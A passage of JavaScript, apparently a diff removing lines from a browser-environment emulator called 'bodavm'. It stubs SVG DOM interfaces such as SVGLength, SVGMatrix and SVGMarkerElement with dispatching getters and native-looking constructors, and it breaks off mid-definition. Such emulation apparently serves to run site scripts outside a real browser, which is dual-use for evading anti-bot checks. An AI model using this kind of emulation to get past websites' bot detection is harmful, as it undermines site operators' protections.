-bodavm.memory.globalobj['SVGImageElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGraphicsElement'].prototype; -bodavm.memory.globalobj['SVGImageElement'].__proto__=bodavm.memory.globalobj['SVGGraphicsElement']; -bodavm.toolsFunc.defineProperty('SVGImageElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "decoding", {configurable:true, enumerable:true, get:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_get", arguments)}, set:function decoding (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decoding_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "href", {configurable:true, enumerable:true, get:function href (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "href_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGImageElement', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGImageElement'].prototype, "SVGImageElement", "decode", arguments)}},'prototype'); - -// SVGLength对象 -bodavm.memory.globalobj['SVGLength'] = function SVGLength(){if (!(this instanceof SVGLength)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLength'], "SVGLength"); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", {configurable:false, enumerable:true, writable:false, value:4}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", {configurable:false, enumerable:true, writable:false, value:5}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", {configurable:false, enumerable:true, writable:false, value:6}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", {configurable:false, enumerable:true, writable:false, value:7}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", {configurable:false, enumerable:true, writable:false, value:8}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", {configurable:false, enumerable:true, writable:false, value:9}); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", {configurable:false, enumerable:true, writable:false, value:10}); -bodavm.toolsFunc.defineProperty('SVGLength', "unitType", {configurable:true, enumerable:true, get:function unitType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "unitType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "valueInSpecifiedUnits", {configurable:true, enumerable:true, get:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_get", arguments)}, set:function valueInSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueInSpecifiedUnits_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "valueAsString", {configurable:true, enumerable:true, get:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_get", arguments)}, set:function valueAsString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "valueAsString_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_NUMBER", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PERCENTAGE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EMS", {configurable:false, enumerable:true, writable:false, value:3},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_EXS", {configurable:false, enumerable:true, writable:false, value:4},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PX", {configurable:false, enumerable:true, writable:false, value:5},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_CM", {configurable:false, enumerable:true, writable:false, value:6},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_MM", {configurable:false, enumerable:true, writable:false, value:7},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_IN", {configurable:false, enumerable:true, writable:false, value:8},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PT", {configurable:false, enumerable:true, writable:false, value:9},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "SVG_LENGTHTYPE_PC", {configurable:false, enumerable:true, writable:false, value:10},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "convertToSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function convertToSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "convertToSpecifiedUnits", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLength', "newValueSpecifiedUnits", {configurable:true, enumerable:true, writable:true, value:function newValueSpecifiedUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLength'].prototype, "SVGLength", "newValueSpecifiedUnits", arguments)}},'prototype'); - -// SVGLengthList对象 -bodavm.memory.globalobj['SVGLengthList'] = function SVGLengthList(){if (!(this instanceof SVGLengthList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLengthList'], "SVGLengthList"); -bodavm.toolsFunc.defineProperty('SVGLengthList', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "numberOfItems", {configurable:true, enumerable:true, get:function numberOfItems (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "numberOfItems_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "appendItem", {configurable:true, enumerable:true, writable:true, value:function appendItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "appendItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "clear", {configurable:true, enumerable:true, writable:true, value:function clear (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "clear", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "getItem", {configurable:true, enumerable:true, writable:true, value:function getItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "getItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "initialize", {configurable:true, enumerable:true, writable:true, value:function initialize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "initialize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "insertItemBefore", {configurable:true, enumerable:true, writable:true, value:function insertItemBefore (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "insertItemBefore", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "removeItem", {configurable:true, enumerable:true, writable:true, value:function removeItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "removeItem", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLengthList', "replaceItem", {configurable:true, enumerable:true, writable:true, value:function replaceItem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLengthList'].prototype, "SVGLengthList", "replaceItem", arguments)}},'prototype'); - -// SVGLinearGradientElement对象 -bodavm.memory.globalobj['SVGLinearGradientElement'] = function SVGLinearGradientElement(){if (!(this instanceof SVGLinearGradientElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLinearGradientElement'], "SVGLinearGradientElement"); -bodavm.memory.globalobj['SVGLinearGradientElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGradientElement'].prototype; -bodavm.memory.globalobj['SVGLinearGradientElement'].__proto__=bodavm.memory.globalobj['SVGGradientElement']; -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REPEAT", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_REFLECT", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_PAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "SVG_SPREADMETHOD_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x1", {configurable:true, enumerable:true, get:function x1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y1", {configurable:true, enumerable:true, get:function y1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "x2", {configurable:true, enumerable:true, get:function x2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "x2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLinearGradientElement', "y2", {configurable:true, enumerable:true, get:function y2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLinearGradientElement'].prototype, "SVGLinearGradientElement", "y2_get", arguments)}, set:undefined},'prototype'); - -// SVGLineElement对象 -bodavm.memory.globalobj['SVGLineElement'] = function SVGLineElement(){if (!(this instanceof SVGLineElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGLineElement'], "SVGLineElement"); -bodavm.memory.globalobj['SVGLineElement'].prototype.__proto__=bodavm.memory.globalobj['SVGGeometryElement'].prototype; -bodavm.memory.globalobj['SVGLineElement'].__proto__=bodavm.memory.globalobj['SVGGeometryElement']; -bodavm.toolsFunc.defineProperty('SVGLineElement', "x1", {configurable:true, enumerable:true, get:function x1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "y1", {configurable:true, enumerable:true, get:function y1 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y1_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "x2", {configurable:true, enumerable:true, get:function x2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "x2_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGLineElement', "y2", {configurable:true, enumerable:true, get:function y2 (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGLineElement'].prototype, "SVGLineElement", "y2_get", arguments)}, set:undefined},'prototype'); - -// SVGMarkerElement对象 -bodavm.memory.globalobj['SVGMarkerElement'] = function SVGMarkerElement(){if (!(this instanceof SVGMarkerElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMarkerElement'], "SVGMarkerElement"); -bodavm.memory.globalobj['SVGMarkerElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMarkerElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refX", {configurable:true, enumerable:true, get:function refX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refX_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "refY", {configurable:true, enumerable:true, get:function refY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "refY_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerUnits", {configurable:true, enumerable:true, get:function markerUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerWidth", {configurable:true, enumerable:true, get:function markerWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "markerHeight", {configurable:true, enumerable:true, get:function markerHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "markerHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientType", {configurable:true, enumerable:true, get:function orientType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "orientAngle", {configurable:true, enumerable:true, get:function orientAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "orientAngle_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "viewBox", {configurable:true, enumerable:true, get:function viewBox (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "viewBox_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "preserveAspectRatio", {configurable:true, enumerable:true, get:function preserveAspectRatio (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "preserveAspectRatio_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_USERSPACEONUSE", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKERUNITS_STROKEWIDTH", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_UNKNOWN", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_AUTO", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "SVG_MARKER_ORIENT_ANGLE", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAngle", {configurable:true, enumerable:true, writable:true, value:function setOrientToAngle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAngle", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMarkerElement', "setOrientToAuto", {configurable:true, enumerable:true, writable:true, value:function setOrientToAuto (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMarkerElement'].prototype, "SVGMarkerElement", "setOrientToAuto", arguments)}},'prototype'); - -// SVGMaskElement对象 -bodavm.memory.globalobj['SVGMaskElement'] = function SVGMaskElement(){if (!(this instanceof SVGMaskElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMaskElement'], "SVGMaskElement"); -bodavm.memory.globalobj['SVGMaskElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMaskElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskUnits", {configurable:true, enumerable:true, get:function maskUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "maskContentUnits", {configurable:true, enumerable:true, get:function maskContentUnits (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "maskContentUnits_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "requiredExtensions", {configurable:true, enumerable:true, get:function requiredExtensions (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "requiredExtensions_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMaskElement', "systemLanguage", {configurable:true, enumerable:true, get:function systemLanguage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMaskElement'].prototype, "SVGMaskElement", "systemLanguage_get", arguments)}, set:undefined},'prototype'); - -// SVGMatrix对象 -bodavm.memory.globalobj['SVGMatrix'] = function SVGMatrix(){if (!(this instanceof SVGMatrix)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMatrix'], "SVGMatrix"); -bodavm.toolsFunc.defineProperty('SVGMatrix', "a", {configurable:true, enumerable:true, get:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_get", arguments)}, set:function a (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "a_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "b", {configurable:true, enumerable:true, get:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_get", arguments)}, set:function b (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "b_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "c", {configurable:true, enumerable:true, get:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_get", arguments)}, set:function c (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "c_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "d", {configurable:true, enumerable:true, get:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_get", arguments)}, set:function d (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "d_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "e", {configurable:true, enumerable:true, get:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_get", arguments)}, set:function e (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "e_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "f", {configurable:true, enumerable:true, get:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_get", arguments)}, set:function f (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "f_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "flipX", {configurable:true, enumerable:true, writable:true, value:function flipX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "flipY", {configurable:true, enumerable:true, writable:true, value:function flipY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "flipY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "inverse", {configurable:true, enumerable:true, writable:true, value:function inverse (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "inverse", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "multiply", {configurable:true, enumerable:true, writable:true, value:function multiply (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "multiply", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "rotate", {configurable:true, enumerable:true, writable:true, value:function rotate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "rotateFromVector", {configurable:true, enumerable:true, writable:true, value:function rotateFromVector (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "rotateFromVector", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "scale", {configurable:true, enumerable:true, writable:true, value:function scale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scale", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "scaleNonUniform", {configurable:true, enumerable:true, writable:true, value:function scaleNonUniform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "scaleNonUniform", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "skewX", {configurable:true, enumerable:true, writable:true, value:function skewX (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewX", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "skewY", {configurable:true, enumerable:true, writable:true, value:function skewY (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "skewY", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('SVGMatrix', "translate", {configurable:true, enumerable:true, writable:true, value:function translate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['SVGMatrix'].prototype, "SVGMatrix", "translate", arguments)}},'prototype'); - -// SVGMetadataElement对象 -bodavm.memory.globalobj['SVGMetadataElement'] = function SVGMetadataElement(){if (!(this instanceof SVGMetadataElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMetadataElement'], "SVGMetadataElement"); -bodavm.memory.globalobj['SVGMetadataElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMetadataElement'].__proto__=bodavm.memory.globalobj['SVGElement']; - -// SVGMPathElement对象 -bodavm.memory.globalobj['SVGMPathElement'] = function SVGMPathElement(){if (!(this instanceof SVGMPathElement)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['SVGMPathElement'], "SVGMPathElement"); -bodavm.memory.globalobj['SVGMPathElement'].prototype.__proto__=bodavm.memory.globalobj['SVGElement'].prototype; -bodavm.memory.globalobj['SVGMPathElement'].__proto__=bodavm.memory.globalobj['SVGElement']; -bodavm.toolsFunc.defineProperty('SVGMPathElement', "href", {configurable:true, enumerable:true, get:function href 